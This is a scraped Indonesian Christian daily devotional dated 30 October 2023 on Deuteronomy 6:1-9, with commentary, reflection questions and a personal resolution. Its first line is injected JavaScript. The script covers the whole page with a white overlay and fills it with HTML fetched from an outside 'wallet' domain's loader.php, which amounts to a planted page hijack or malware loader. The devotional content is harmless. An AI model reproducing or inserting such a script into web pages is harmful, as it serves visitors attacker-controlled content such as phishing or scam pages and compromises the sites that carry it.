const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Senin, 30 Oktober 2023
Ulangan 6 : 1 – 9
Pengantar
Seringkali kita memahami sebuah tujuan sebagai hasil yang akan kita peroleh atau kita capai. Namun sesungguhnya ada tujuan yang lebih utama yang kurang kita sadari atau kita perhatikan, yaitu terwujudnya relasi hidup dan pengenalan yang baik dengan Sang Pemilik dan Pemberi segalanya. Dalam Ulangan 6 : 1 – 9 yang kita baca pada hari ini, dinyatakan tentang ketetapan dan perintah TUHAN yang perlu dilakukan umat-Nya dengan setia, serta apa tujuannya. Jadi marilah kita memperhatikannya dengan baik untuk dapat memahami kehadiran TUHAN yang seharusnya menjadi tujuan utama.
Pemahaman
Ayat 1 – 3 : Apa tujuan Israel diperintahkan untuk berlaku setia kepada TUHAN?
Ayat 4 – 9 : Bagaimana Israel menjaga dan meneruskan ketentuan dan peraturan TUHAN?
Bangsa Israel sebagai umat ALLAH diperintahkan untuk berlaku setia kepada ALLAH supaya mereka menjadi bangsa yang secara turun temurun bersikap takut (hormat dan taat) akan TUHAN dan supaya lanjut umur mereka. Juga agar baik keadaan mereka di negeri yang berlimpah-limpah susu dan madunya serta menjadi sangat banyak seperti yang dijanjikan TUHAN kepada nenek moyang mereka. Jadi perintah ini sesungguhnya terkait dengan relasi hidup serta pengenalan dan pengakuan umat akan TUHAN yang perlu dihormati dan ditaati. Bahwa melalui Israel, TUHAN yang esa telah berkenan hadir menyatakan kuasa, kasih, dan kehendak-Nya bagi dunia. Inti dari perintah TUHAN yang disampaikan melalui Musa itu adalah bahwa umat harus mengasihi TUHAN dengan segenap hati, jiwa, dan kekuatan mereka. Mereka diingatkan untuk sungguh-sungguh memperhatikan perintah ini dan wajib meneruskannya kepada anak cucu mereka dengan cara mengajarkannya berulang-ulang di segala waktu, mengikatkannya sebagai tanda pada tangan dan sebagai lambang di dahi, serta menuliskannya di tiang pintu rumah dan pintu gerbang kota. Ini menunjukkan bahwa segala ketetapan dan perintah TUHAN adalah warisan bahkan bagian hidup (kesejahteraan dan keselamatan) yang sungguh bernilai dan perlu dipelihara secara berkelanjutan oleh umat-Nya di sepanjang masa.
Refleksi
Marilah berdiam diri dan merenungkan:
- Apakah Saudara selama ini telah berlaku setia kepada TUHAN?
- Apakah Saudara telah memelihara firman TUHAN yang dianugerahkan sebagai warisan hidup bagi setiap orang yang percaya kepada ALLAH di dalam Kristus secara berkelanjutan
Tekadku
TUHAN, jadikan aku sebagai pribadi yang setia melalukan segala ketetapan dan perintah-Mu.
Tindakanku
Mulai hari ini, aku akan makin serius memperhatikan firman TUHAN serta memeliharanya, baik dalam kehidupan pribadi maupun dalam komunitas hidup bersama secara berkelanjutan.